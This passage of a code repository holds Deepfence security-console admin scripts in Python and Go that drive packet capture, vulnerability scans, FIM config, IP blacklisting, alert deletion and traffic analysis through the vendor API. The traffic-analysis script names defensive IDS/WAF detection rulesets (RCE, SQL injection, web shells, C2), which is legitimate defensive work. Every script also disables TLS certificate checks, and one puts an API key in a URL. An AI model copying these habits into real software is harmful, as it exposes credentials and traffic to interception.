print("\nStop Packet Capture") 27 | api_response_nodes = api_response.get("data", {}).get("data", []) 28 | if not api_response_nodes: 29 | print("No nodes found") 30 | return 31 | for node in api_response_nodes: 32 | if node.get("is_ui_vm", False): 33 | continue 34 | print("{0}: {1} (host)".format(counter, node.get("host_name", ""))) 35 | nodes_list.append({"id": node["id"], "node_name": node.get("host_name", "")}) 36 | counter += 1 37 | print("\nEnter comma separated list of node numbers to stop packet capture. Eg: 1,3,4") 38 | print("Enter \"all\" (without quotes) to stop packet capture on all nodes\n") 39 | user_input = input("-->").split(",") 40 | if "all" in user_input: 41 | nodes_selected = nodes_list 42 | else: 43 | nodes_selected = [] 44 | for user_input_no in user_input: 45 | try: 46 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 47 | except: 48 | pass 49 | if not nodes_selected: 50 | print("No nodes selected. Select at least one node.") 51 | exit(0) 52 | post_data = { 53 | "action": "packet_capture_stop", 54 | "node_type": "host", 55 | "node_id_list": [n["id"] for n in nodes_selected] 56 | } 57 | try: 58 | response = requests.post("{0}/node_action".format(api_url), headers=default_headers, 59 | verify=False, json=post_data) 60 | print(response.text) 61 | print("Packet capture will be stopped in selected nodes") 62 | except: 63 | print("Error in api call") 64 | 65 | # delete the config from db if packet capture is stopped on all nodes 66 | if "all" in user_input: 67 | print("\nDeleting the saved packet capture config.") 68 | post_data = { 69 | "host_name_list": ["all"] 70 | } 71 | try: 72 | response = requests.delete("{0}/packet_capture_config".format(api_url), headers=default_headers, 73 | verify=False, json=post_data) 74 | print(response.text) 75 | except: 76 | print("Error in API to delete existing packet capture config") 77 | 78 | 79 | if __name__ == '__main__': 80 | import sys 81 | 82 | if len(sys.argv) != 3: 83 | print("Usage: python3 stop_packet_capture.py ") 84 | exit(1) 85 | stop_packet_capture("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 86 | -------------------------------------------------------------------------------- /scripts/streaming_api/streaming_api.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "encoding/json" 6 | "flag" 7 | "fmt" 8 | "net/http" 9 | "os" 10 | "strconv" 11 | "strings" 12 | "time" 13 | 14 | "github.com/gorilla/websocket" 15 | ) 16 | 17 | var nodeIDs = []string{"hosts", "containers", "containers-by-image", "kubernetes-clusters", "cloud-providers", "cloud-regions", "processes"} 18 | var nodeID = flag.String("node-type", "hosts", fmt.Sprintf("Node type to run websocket client for. Ex: %s", strings.Join(nodeIDs, ", "))) 19 | var managementConsoleUrl = flag.String("management-console-url", "", "Enter api url. Example: 22.33.44.55 / abc.com") 20 | var deepfenceKey = flag.String("deepfence-key", "", "Enter api key. (Get it from user management page)") 21 | var ignoreConnections = flag.Bool("ignore-connections", true, "Weather to ignore connections data") 22 | var vulnerabilityScan = flag.Bool("vulnerability-scan", false, "Start vulnerability scan on new nodes") 23 | 24 | func connectWS() (*websocket.Conn, error) { 25 | wsUrl := fmt.Sprintf("wss://%s/topology-api/topology-connection-ws?t=5s&ignore_connections=%s&api_key=%s", 26 | *managementConsoleUrl, strconv.FormatBool(*ignoreConnections), *deepfenceKey) 27 | fmt.Printf("Connecting to %s\n", wsUrl) 28 | dialer := &websocket.Dialer{ 29 | Proxy: http.ProxyFromEnvironment, 30 | HandshakeTimeout: 45 * time.Second, 31 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 32 | } 33 | conn, _, err := dialer.Dial(wsUrl, nil) 34 | if err != nil { 35 | return nil, err 36 | } 37 | return conn, nil 38 | } 39 | 40 | func main() { 41 | var topologyDiff TopologyDiff 42 | var accessToken string 43 | var nodeType string 44 | flag.Parse() 45 | if *managementConsoleUrl == "" { 46 | fmt.Println("management-console-url is required") 47 | os.Exit(1) 48 | } else if *deepfenceKey == "" { 49 | fmt.Println("deepfence-key is required") 50 | os.Exit(1) 51 | } 52 | if !inSlice(nodeIDs, *nodeID) { 53 | fmt.Printf("node-type must be one of %s", strings.Join(nodeIDs, ", ")) 54 | os.Exit(1) 55 | } 56 | ws, err := connectWS() 57 | if err != nil { 58 | fmt.Println(err) 59 | os.Exit(1) 60 | } 61 | 62 | sendMessage := func(msg string) error { 63 | msgJson := map[string]interface{}{} 64 | err := json.Unmarshal([]byte(msg), &msgJson) 65 | if err != nil { 66 | return err 67 | } 68 | err = ws.WriteJSON(msgJson) 69 | if err != nil { 70 | return err 71 | } 72 | return nil 73 | } 74 | 75 | go func() { 76 | err := sendMessage(fmt.Sprintf(`{"add":{"topology_id":"","node_id":"","children":[{"topology_id":"%s"}]}}`, *nodeID)) 77 | if err != nil { 78 | fmt.Println(err) 79 | os.Exit(1) 80 | } 81 | }() 82 | 83 | if *vulnerabilityScan { 84 | accessToken = getAccessToken(*managementConsoleUrl, *deepfenceKey) 85 | } 86 | 87 | for { 88 | _, resp, err := ws.ReadMessage() 89 | if err != nil { 90 | fmt.Println(err) 91 | return 92 | } 93 | if *vulnerabilityScan { 94 | err := json.Unmarshal(resp, &topologyDiff) 95 | if err != nil { 96 | fmt.Println(err) 97 | return 98 | } 99 | for _, nodeInfo := range topologyDiff.Nodes.Add { 100 | fmt.Printf("Starting vulnerability scan on new node %s\n", nodeInfo.Label) 101 | if *nodeID == "hosts" { 102 | nodeType = "host" 103 | } else if *nodeID == "containers" { 104 | nodeType = "container" 105 | } else if *nodeID == "containers-by-image" { 106 | nodeType = "container_image" 107 | } else { 108 | fmt.Printf("vulnerability scan not applicable for node: %s\n", nodeInfo.Label) 109 | continue 110 | } 111 | nodeInfo := nodeInfo 112 | go func() { 113 | err := startVulnerabilityScan(nodeInfo.ID, accessToken, nodeType, *managementConsoleUrl) 114 | if err != nil { 115 | fmt.Println(err) 116 | } 117 | }() 118 | } 119 | } else { 120 | fmt.Println("\nGot data:\n", string(resp)) 121 | } 122 | } 123 | } 124 | 125 | func inSlice(slice []string, val string) bool { 126 | for _, item := range slice { 127 | if item == val { 128 | return true 129 | } 130 | } 131 | return false 132 | } 133 | -------------------------------------------------------------------------------- /scripts/vulnerability_scan/start_vulnerability_scan.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def start_cve_scan(api_url, api_key): 8 | # Auth 9 | default_headers = {"Content-Type": "application/json"} 10 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if auth_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 18 | 19 | # Enumerate nodes 20 | enumerate_response = requests.post( 21 | "{0}/enumerate".format(api_url), 22 | json={"filters": {"type": ["host", "container_image"], "pseudo": False}, "size": 5000}, 23 | headers=default_headers, verify=False).json() 24 | nodes_list = [] 25 | counter = 1 26 | enumerate_response_nodes = enumerate_response.get("data", {}).get("data", []) 27 | if not enumerate_response_nodes: 28 | print("No nodes found") 29 | return 30 | for node in enumerate_response_nodes: 31 | if node["type"] == "container_image": 32 | node_name = "{0} (container_image)".format(node.get("image_name_with_tag", "")) 33 | else: 34 | node_name = "{0} (host)".format(node.get("host_name", "")) 35 | print("{0}: {1}".format(counter, node_name)) 36 | nodes_list.append( 37 | { 38 | "id": node["id"], 39 | "node_name": node_name, 40 | "node_type": node["type"], 41 | "scope_id": node["scope_id"] 42 | }) 43 | counter += 1 44 | print("\nEnter comma separated list of node numbers to start vulnerability scan. Eg: 1,3,4") 45 | print("Enter \"all\" (without quotes) to start vulnerability scan on all nodes\n") 46 | user_input = input("-->").split(",") 47 | if "all" in user_input: 48 | nodes_selected = nodes_list 49 | else: 50 | nodes_selected = [] 51 | for user_input_no in user_input: 52 | try: 53 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 54 | except: 55 | pass 56 | 57 | host_scope_ids = [] 58 | container_image_scope_ids = [] 59 | for node_delected in nodes_selected: 60 | if node_delected["node_type"] == "host": 61 | host_scope_ids.append(node_delected["scope_id"]) 62 | elif node_delected["node_type"] == "container_image": 63 | container_image_scope_ids.append(node_delected["scope_id"]) 64 | 65 | if host_scope_ids: 66 | print("\nStarting vulnerability scan on hosts") 67 | print(requests.post( 68 | "{0}/node_action".format(api_url), 69 | json={ 70 | "action": "cve_scan_start", 71 | "node_type": "host", 72 | "node_id_list": host_scope_ids, 73 | "action_args": { 74 | "scan_type": ["base", "java", "python", "ruby", "php", "javascript", "rust", "golang", "dotnet"] 75 | } 76 | }, 77 | headers=default_headers, verify=False).json()) 78 | 79 | if container_image_scope_ids: 80 | print("\nStarting vulnerability scan on container images") 81 | print(requests.post( 82 | "{0}/node_action".format(api_url), 83 | json={ 84 | "action": "cve_scan_start", 85 | "node_type": "container_image", 86 | "node_id_list": container_image_scope_ids, 87 | "action_args": { 88 | "scan_type": ["base", "java", "python", "ruby", "php", "javascript", "rust", "golang", "dotnet"] 89 | } 90 | }, 91 | headers=default_headers, verify=False).json()) 92 | 93 | 94 | if __name__ == '__main__': 95 | import sys 96 | 97 | if len(sys.argv) != 3: 98 | print("Usage: python3 start_vulnerability_scan.py ") 99 | exit(1) 100 | start_cve_scan("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 101 | -------------------------------------------------------------------------------- /scripts/fim_config/update_fim_config.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import yaml, json 3 | from jsonschema import validate 4 | from jsonschema.exceptions import ValidationError, SchemaError 5 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | 10 | def update_fim_config(api_url, api_key, config_filename): 11 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 12 | api_response = requests.post("{0}/users/auth".format(api_url), 13 | json={"api_key": api_key}, headers=default_headers, 14 | verify=False).json() 15 | if api_response["success"]: 16 | print("Authentication successful") 17 | else: 18 | print("Authentication failed") 19 | return 20 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 21 | 22 | enumerate_filters = {"type": ["host"], "pseudo": False} 23 | api_response = requests.post("{0}/enumerate".format(api_url), 24 | json={"filters": enumerate_filters, "size": 10000}, 25 | headers=default_headers, verify=False).json() 26 | nodes_list = [] 27 | counter = 1 28 | print("\nupdate fim config") 29 | api_response_nodes = api_response.get("data", {}).get("data", []) 30 | if not api_response_nodes: 31 | print("No nodes found") 32 | return 33 | for node in api_response_nodes: 34 | if node.get("is_ui_vm", False): 35 | continue 36 | if node["type"] == "kube_service": 37 | node_name = "{0} (kubernetes service)".format(node.get("name", "")) 38 | else: 39 | node_name = "{0} (host)".format(node.get("host_name", "")) 40 | print("{0}: {1}".format(counter, node_name)) 41 | nodes_list.append({"id": node["id"], "node_name": node_name, "node_type": node["type"]}) 42 | counter += 1 43 | print("\nEnter comma separated list of node numbers to update fim config. Eg: 1,3,4\n") 44 | print("Enter \"all\" (without quotes) to update fim config on all nodes\n") 45 | user_input = input("-->").split(",") 46 | if "all" in user_input: 47 | nodes_selected = nodes_list 48 | else: 49 | nodes_selected = [] 50 | for user_input_no in user_input: 51 | try: 52 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 53 | except: 54 | pass 55 | if not nodes_selected: 56 | print("No nodes selected. Select at least one node.") 57 | exit(0) 58 | # print("\nEncrypted packet capture? Enter Y or N:") 59 | # is_encrypted_capture = str(input("-->")) 60 | is_encrypted_capture = "N" 61 | with open (config_filename, "r") as configfile: 62 | fim_config=configfile.read() 63 | with open ("fim_config_schema.json", "r") as schemafile: 64 | fim_schema=schemafile.read() 65 | # print("Fim Config: ", fim_config) 66 | # print("Fim Schema: ", fim_schema) 67 | # print("config yaml: ", yaml.load(fim_config)) 68 | # print("schema json: ", json.loads(fim_schema)) 69 | try: 70 | validate(yaml.safe_load(fim_config), json.loads(fim_schema)) 71 | except ValidationError as ex: 72 | print("Fim Config is not valid: \n", ex) 73 | exit(1) 74 | except SchemaError as ex: 75 | print("Fim Schema is not valid: \n", ex) 76 | exit(1) 77 | except Exception as ex: 78 | print("Error: ", ex) 79 | exit(1) 80 | 81 | post_data = { 82 | "fim_config": str(fim_config) 83 | } 84 | for node in nodes_selected: 85 | try: 86 | response = requests.post("{0}/node/{1}/update_fim_config?os=linux".format(api_url, node["id"]), headers=default_headers, 87 | verify=False, json=post_data) 88 | print(response.text) 89 | print("FIM config will be updated in selected nodes") 90 | except: 91 | print("Error in api call") 92 | 93 | 94 | if __name__ == '__main__': 95 | import sys 96 | 97 | if len(sys.argv) != 4: 98 | print("Usage: python3 update_fim_config.py ") 99 | exit(1) 100 | update_fim_config("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2], sys.argv[3]) 101 | -------------------------------------------------------------------------------- /scripts/node_network_policy/blacklist_ips.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | import re 4 | import json 5 | from pathlib import Path 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | regex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$" 10 | 11 | 12 | def validate(Ip): 13 | if re.search(regex, Ip): 14 | return True 15 | else: 16 | return False 17 | 18 | 19 | def blacklist_ips_inbound(api_url, api_key): 20 | # Auth 21 | default_headers = {"Content-Type": "application/json"} 22 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 23 | verify=False).json() 24 | if auth_response["success"]: 25 | print("Authentication successful") 26 | else: 27 | print("Authentication failed") 28 | return 29 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 30 | 31 | # Enumerate nodes 32 | enumerate_response = requests.post( 33 | "{0}/enumerate".format(api_url), 34 | json={"filters": {"type": ["host"], "pseudo": False}, "size": 10000}, 35 | headers=default_headers, verify=False).json() 36 | nodes_list = [] 37 | counter = 1 38 | enumerate_response_nodes = enumerate_response.get("data", {}).get("data", []) 39 | if not enumerate_response_nodes: 40 | print("No nodes found") 41 | return 42 | for node in enumerate_response_nodes: 43 | if node.get("type") == "host": 44 | if node.get("is_ui_vm", False): 45 | continue 46 | node_name = "{0} (host)".format(node.get("host_name", "")) 47 | print("{0}: {1}".format(counter, node_name)) 48 | nodes_list.append( 49 | {"id": node["id"], "node_name": node_name, "scope_id": node["scope_id"], "type": node["type"]}) 50 | counter += 1 51 | print("\nEnter comma separated list of host serial numbers to blacklist IP addresses. Eg: 1,3,4") 52 | print("Enter \"all\" (without quotes) to blacklist on all hosts\n") 53 | user_input = input("-->").split(",") 54 | if "all" in user_input: 55 | nodes_selected = nodes_list 56 | else: 57 | nodes_selected = [] 58 | for user_input_no in user_input: 59 | try: 60 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 61 | except: 62 | pass 63 | counter = 1 64 | ip_address_to_blacklist = [] 65 | my_file = Path("./ip_addresses.txt") 66 | if my_file.is_file(): 67 | blacklist_ips_file = open("ip_addresses.txt") 68 | ip_addresses = blacklist_ips_file.read().split('\n') 69 | for ip in ip_addresses: 70 | if validate(ip): 71 | ip_address_to_blacklist.append(ip) 72 | else: 73 | print("ip_addresses.txt file missing") 74 | return 75 | 76 | blacklist_ips_file.close() 77 | if not ip_address_to_blacklist: 78 | print("ip_addresses.txt file is empty") 79 | return 80 | 81 | for node in nodes_selected: 82 | print("\n{0}: Blacklisting IP addresses {1} on node {2}".format( 83 | counter, ip_address_to_blacklist, node["node_name"])) 84 | payload = json.dumps({ 85 | "packet_direction": "inbound", 86 | "node_policy_type": "blacklist", 87 | "ip_address_list": ip_address_to_blacklist, 88 | "block_duration": 0, 89 | "port_list": [], 90 | "scope_id": node['scope_id'], 91 | "node_type": node['type'] 92 | }) 93 | counter += 1 94 | try: 95 | res = requests.post("{0}/users/node_network_protection_policy".format(api_url), data=payload, 96 | headers=default_headers, verify=False) 97 | if res.status_code != 200: 98 | raise Exception(res.text) 99 | except Exception as e: 100 | print(e) 101 | continue 102 | 103 | 104 | if __name__ == '__main__': 105 | import sys 106 | 107 | if len(sys.argv) != 3: 108 | print("Usage: python3 blacklist_ips.py ") 109 | exit(1) 110 | blacklist_ips_inbound("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 111 | -------------------------------------------------------------------------------- /scripts/alerts/delete_alerts_by_classtype.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | from collections import defaultdict 4 | 5 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 6 | 7 | 8 | def split_list_into_chunks(my_list: list, size: int) -> list: 9 | def divide_chunks(l, n): 10 | for i in range(0, len(l), n): 11 | yield l[i:i + n] 12 | 13 | return list(divide_chunks(my_list, size)) 14 | 15 | 16 | def delete_alerts(api_url, api_key): 17 | # Auth 18 | default_headers = {"Content-Type": "application/json"} 19 | auth_response = requests.post("{0}/users/auth".format(api_url), json={"api_key": api_key}, headers=default_headers, 20 | verify=False).json() 21 | if auth_response["success"]: 22 | print("Authentication successful") 23 | else: 24 | print("Authentication failed") 25 | return 26 | default_headers["Authorization"] = "Bearer " + auth_response["data"]["access_token"] 27 | es_from = 0 28 | page_size = 5000 29 | alerts = [] 30 | classtypes = defaultdict(int) 31 | masked_classtypes = defaultdict(int) 32 | while True: 33 | if es_from + page_size >= 50000: 34 | break 35 | alerts_summary = requests.post( 36 | "{0}/search?from={1}&size={2}&lucene_query=&number=365&time_unit=day".format(api_url, es_from, page_size), 37 | json={"_type": "alert", "_source": ["_id", "classtype", "masked"], 38 | "filters": {"masked": ["false", "true"]}}, 39 | headers=default_headers, verify=False).json() 40 | if not alerts_summary.get("success", False): 41 | print(alerts_summary.get("error", "")) 42 | return 43 | if not alerts_summary["data"]["hits"]: 44 | break 45 | alerts.extend(alerts_summary["data"]["hits"]) 46 | es_from += page_size 47 | 48 | for alert in alerts: 49 | if alert["_source"]["masked"] == "true": 50 | masked_classtypes[alert["_source"]["classtype"]] += 1 51 | else: 52 | classtypes[alert["_source"]["classtype"]] += 1 53 | if not classtypes and not masked_classtypes: 54 | print("No alerts found") 55 | return 56 | 57 | classtypes = [{"classtype": k, "count": v} for k, v in classtypes.items()] 58 | classtypes_len = len(classtypes) 59 | masked_classtypes = [{"classtype": k, "count": v} for k, v in masked_classtypes.items()] 60 | if classtypes: 61 | print("\nAlert classtype with count") 62 | for i, classtype in enumerate(classtypes): 63 | print("{0}. {1}\t{2}".format(i + 1, classtype["classtype"], classtype["count"])) 64 | if masked_classtypes: 65 | print("\nAlert classtype with count (Masked alerts)") 66 | for i, classtype in enumerate(masked_classtypes): 67 | print("{0}. {1}\t{2}".format(classtypes_len + i + 1, classtype["classtype"], classtype["count"])) 68 | 69 | print("\nEnter comma separated list of classtypes to delete. Eg: 1,3,4") 70 | user_input = input("-->").split(",") 71 | selected_classtypes = [] 72 | selected_masked_classtypes = [] 73 | for user_input_no in user_input: 74 | try: 75 | if int(user_input_no) > classtypes_len: 76 | class_type = masked_classtypes[int(user_input_no) - classtypes_len - 1]["classtype"] 77 | selected_masked_classtypes.append(class_type) 78 | print("Deleting \"{0}\" alerts (masked)".format(class_type)) 79 | else: 80 | class_type = classtypes[int(user_input_no) - 1]["classtype"] 81 | selected_classtypes.append(class_type) 82 | print("Deleting \"{0}\" alerts".format(class_type)) 83 | except Exception as ex: 84 | print(ex) 85 | 86 | alert_id = [] 87 | for classtype in selected_classtypes: 88 | for alert in alerts: 89 | if alert["_source"]["masked"] != "true" and alert["_source"]["classtype"] == classtype: 90 | alert_id.append(alert["_id"]) 91 | for classtype in selected_masked_classtypes: 92 | for alert in alerts: 93 | if alert["_source"]["masked"] == "true" and alert["_source"]["classtype"] == classtype: 94 | alert_id.append(alert["_id"]) 95 | for alert_ids in split_list_into_chunks(alert_id, 500): 96 | print(requests.post("{0}/docs/delete_by_id".format(api_url), 97 | json={"ids": alert_ids, "index_name": "alert", "doc_type": "alert"}, 98 | headers=default_headers, verify=False).text) 99 | 100 | 101 | if __name__ == '__main__': 102 | import sys 103 | 104 | if len(sys.argv) != 3: 105 | print("Usage: python3 delete_alerts_by_classtype.py ") 106 | exit(1) 107 | delete_alerts("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 108 | -------------------------------------------------------------------------------- /scripts/traffic_analysis/start_traffic_analysis.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | 4 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 5 | 6 | 7 | def start_traffic_analysis(api_url, api_key): 8 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 9 | api_response = requests.post("{0}/users/auth".format(api_url), 10 | json={"api_key": api_key}, headers=default_headers, 11 | verify=False).json() 12 | if api_response["success"]: 13 | print("Authentication successful") 14 | else: 15 | print("Authentication failed") 16 | return 17 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 18 | 19 | enumerate_filters = {"type": ["host"], "pseudo": False} 20 | api_response = requests.post("{0}/enumerate".format(api_url), 21 | json={"filters": enumerate_filters, "size": 10000}, 22 | headers=default_headers, verify=False).json() 23 | nodes_list = [] 24 | counter = 1 25 | print("\nStart traffic analysis") 26 | api_response_nodes = api_response.get("data", {}).get("data", []) 27 | if not api_response_nodes: 28 | print("No nodes found") 29 | return 30 | for node in api_response_nodes: 31 | if node.get("is_ui_vm", False): 32 | continue 33 | if node["type"] == "kube_service": 34 | node_name = "{0} (kubernetes service)".format(node.get("name", "")) 35 | else: 36 | node_name = "{0} (host)".format(node.get("host_name", "")) 37 | print("{0}: {1}".format(counter, node_name)) 38 | nodes_list.append({"id": node["id"], "node_name": node_name, "node_type": node["type"]}) 39 | counter += 1 40 | print("\nEnter comma separated list of node numbers to start traffic analysis. Eg: 1,3,4\n") 41 | print("Enter \"all\" (without quotes) to start traffic analysis on all nodes\n") 42 | user_input = input("-->").split(",") 43 | if "all" in user_input: 44 | nodes_selected = nodes_list 45 | else: 46 | nodes_selected = [] 47 | for user_input_no in user_input: 48 | try: 49 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 50 | except: 51 | pass 52 | if not nodes_selected: 53 | print("No nodes selected. Select at least one node.") 54 | exit(0) 55 | 56 | payload = { 57 | "inbound_protos": "http,tcp", 58 | "outbound_protos": "http,tcp", 59 | "inbound_ruleset": "rules/emerging_threats/inbound/from_2019/emerging-coinminer.rules,rules/emerging_threats/inbound/from_2019/threatview_CS_c2.rules,rules/emerging_threats/inbound/from_2019/emerging-current_events.rules,rules/emerging_threats/inbound/from_2019/emerging-dns.rules,rules/emerging_threats/inbound/from_2019/emerging-exploit.rules,rules/emerging_threats/inbound/from_2019/emerging-exploit_kit.rules,rules/core_rule_set/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf,rules/emerging_threats/inbound/from_2019/emerging-attack_response.rules,rules/emerging_threats/inbound/from_2019/emerging-hunting.rules,rules/emerging_threats/inbound/from_2019/emerging-ja3.rules,rules/core_rule_set/REQUEST-944-APPLICATION-ATTACK-JAVA.conf,rules/core_rule_set/REQUEST-930-APPLICATION-ATTACK-LFI.conf,rules/emerging_threats/inbound/from_2019/emerging-malware.rules,rules/core_rule_set/REQUEST-922-MULTIPART-ATTACK.conf,rules/core_rule_set/REQUEST-933-APPLICATION-ATTACK-PHP.conf,rules/emerging_threats/inbound/from_2019/emerging-policy.rules,rules/core_rule_set/REQUEST-921-PROTOCOL-ATTACK.conf,rules/core_rule_set/REQUEST-932-APPLICATION-ATTACK-RCE.conf,rules/core_rule_set/REQUEST-931-APPLICATION-ATTACK-RFI.conf,rules/core_rule_set/REQUEST-942-APPLICATION-ATTACK-SQLI.conf,rules/core_rule_set/REQUEST-913-SCANNER-DETECTION.conf,rules/emerging_threats/inbound/from_2019/emerging-user_agents.rules,rules/emerging_threats/inbound/from_2019/emerging-web_client.rules,rules/emerging_threats/inbound/from_2019/emerging-web_server.rules,rules/core_rule_set/RESPONSE-955-WEB-SHELLS.conf,rules/emerging_threats/inbound/from_2019/emerging-web_specific_apps.rules", 60 | "outbound_ruleset": "rules/emerging_threats/outbound/from_2019/emerging-coinminer.rules,rules/emerging_threats/outbound/from_2019/threatview_CS_c2.rules,rules/emerging_threats/outbound/from_2019/emerging-current_events.rules,rules/emerging_threats/outbound/from_2019/emerging-dns.rules,rules/emerging_threats/outbound/from_2019/emerging-exploit.rules,rules/emerging_threats/outbound/from_2019/emerging-exploit_kit.rules,rules/core_rule_set/REQUEST-934-APPLICATION-ATTACK-GENERIC.conf,rules/emerging_threats/outbound/from_2019/emerging-attack_response.rules,rules/emerging_threats/outbound/from_2019/emerging-hunting.rules,rules/emerging_threats/outbound/from_2019/emerging-ja3.rules,rules/core_rule_set/REQUEST-944-APPLICATION-ATTACK-JAVA.conf,rules/core_rule_set/REQUEST-930-APPLICATION-ATTACK-LFI.conf,rules/emerging_threats/outbound/from_2019/emerging-malware.rules,rules/core_rule_set/REQUEST-922-MULTIPART-ATTACK.conf,rules/core_rule_set/REQUEST-933-APPLICATION-ATTACK-PHP.conf,rules/emerging_threats/outbound/from_2019/emerging-policy.rules,rules/core_rule_set/REQUEST-921-PROTOCOL-ATTACK.conf,rules/core_rule_set/REQUEST-932-APPLICATION-ATTACK-RCE.conf,rules/core_rule_set/REQUEST-931-APPLICATION-ATTACK-RFI.conf,rules/core_rule_set/REQUEST-942-APPLICATION-ATTACK-SQLI.conf,rules/core_rule_set/REQUEST-913-SCANNER-DETECTION.conf,rules/emerging_threats/outbound/from_2019/emerging-user_agents.rules,rules/emerging_threats/outbound/from_2019/emerging-web_client.rules,rules/emerging_threats/outbound/from_2019/emerging-web_server.rules,rules/core_rule_set/RESPONSE-955-WEB-SHELLS.conf,rules/emerging_threats/outbound/from_2019/emerging-web_specific_apps.rules", 61 | "pcap_mode": "all", 62 | "process_list": [] 63 | } 64 | 65 | for node in nodes_selected: 66 | try: 67 | response = requests.post("{0}/node/{1}/packet_capture_start?".format(api_url, node["id"]), 68 | headers=default_headers, verify=False, json=payload) 69 | print(response.text) 70 | print("Started traffic analysis on selected nodes") 71 | except: 72 | print("Error in api call") 73 | 74 | 75 | if __name__ == '__main__': 76 | import sys 77 | 78 | if len(sys.argv) != 3: 79 | print("Usage: python3 start_traffic_analysis.py ") 80 | exit(1) 81 | start_traffic_analysis("https://{0}/deepfence/v1.5".format(sys.argv[1]), sys.argv[2]) 82 | -------------------------------------------------------------------------------- /scripts/packet_capture/start_packet_capture_for_processes.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 3 | import time 4 | from threading import Thread 5 | from queue import Queue 6 | 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | q = Queue(maxsize=0) 10 | thread_batch_size = 20 11 | retries = 15 12 | seconds_between_retries = 3 13 | capture_in_progress = "packet capture is already in progress" 14 | 15 | 16 | def start_packet_capture(api_url, api_key, process_list, pcap_mode): 17 | default_headers = {"Content-Type": "application/json", "Authorization": ""} 18 | api_response = requests.post("{0}/users/auth".format(api_url), 19 | json={"api_key": api_key}, headers=default_headers, 20 | verify=False).json() 21 | if api_response["success"]: 22 | print("Authentication successful") 23 | else: 24 | print("Authentication failed") 25 | return 26 | default_headers["Authorization"] = "Bearer " + api_response["data"]["access_token"] 27 | 28 | enumerate_filters = {"type": ["host"], "pseudo": False} 29 | api_response = requests.post("{0}/enumerate".format(api_url), 30 | json={"filters": enumerate_filters, "size": 5000}, 31 | headers=default_headers, verify=False).json() 32 | nodes_list = [] 33 | counter = 1 34 | api_response_nodes = api_response.get("data", {}).get("data", []) 35 | if not api_response_nodes: 36 | print("No nodes found") 37 | return 38 | for node in api_response_nodes: 39 | if node.get("is_ui_vm", False) or node.get("pseudo", False): 40 | continue 41 | nodes_list.append({"id": node["id"], "node_name": node.get("host_name", "")}) 42 | counter += 1 43 | print("\nEnter comma separated list of node numbers to start packet capture. Eg: 1,3,4\n") 44 | print("Enter \"all\" (without quotes) to start packet capture on all nodes\n") 45 | user_input = input("-->").split(",") 46 | if "all" in user_input: 47 | nodes_selected = nodes_list 48 | else: 49 | nodes_selected = [] 50 | for user_input_no in user_input: 51 | try: 52 | nodes_selected.append(nodes_list[int(user_input_no) - 1]) 53 | except: 54 | pass 55 | if not nodes_selected: 56 | print("No nodes selected. Select at least one node.") 57 | exit(0) 58 | print("Total hosts: {0}".format(counter)) 59 | print("\nStopping Packet Capture on all hosts, if not already stopped.") 60 | post_data = { 61 | "action": "packet_capture_stop", 62 | "node_type": "host", 63 | "node_id_list": [n["id"] for n in nodes_selected] 64 | } 65 | try: 66 | response = requests.post("{0}/node_action".format(api_url), headers=default_headers, 67 | verify=False, json=post_data) 68 | print(response.text) 69 | print("Packet capture will be stopped in a moment") 70 | except: 71 | print("Error in api call") 72 | 73 | time.sleep(60) 74 | print("\nDeleting the saved packet capture config.") 75 | post_data = { 76 | "host_name_list": ["all"] 77 | } 78 | try: 79 | response = requests.delete("{0}/packet_capture_config".format(api_url), headers=default_headers, 80 | verify=False, json=post_data) 81 | print(response.text) 82 | except: 83 | print("Error in API to delete existing packet capture config") 84 | 85 | is_encrypted_capture = "N" 86 | print("\nSaving selected packet capture config") 87 | post_data = { 88 | "config_list": [{"config": {"process_list": process_list, 89 | "snap_length": 65535, 90 | "capture_percentage": 100, 91 | "is_encrypted_capture": is_encrypted_capture, 92 | "pcap_mode": pcap_mode}, "host_name": "all"}] 93 | } 94 | try: 95 | response = 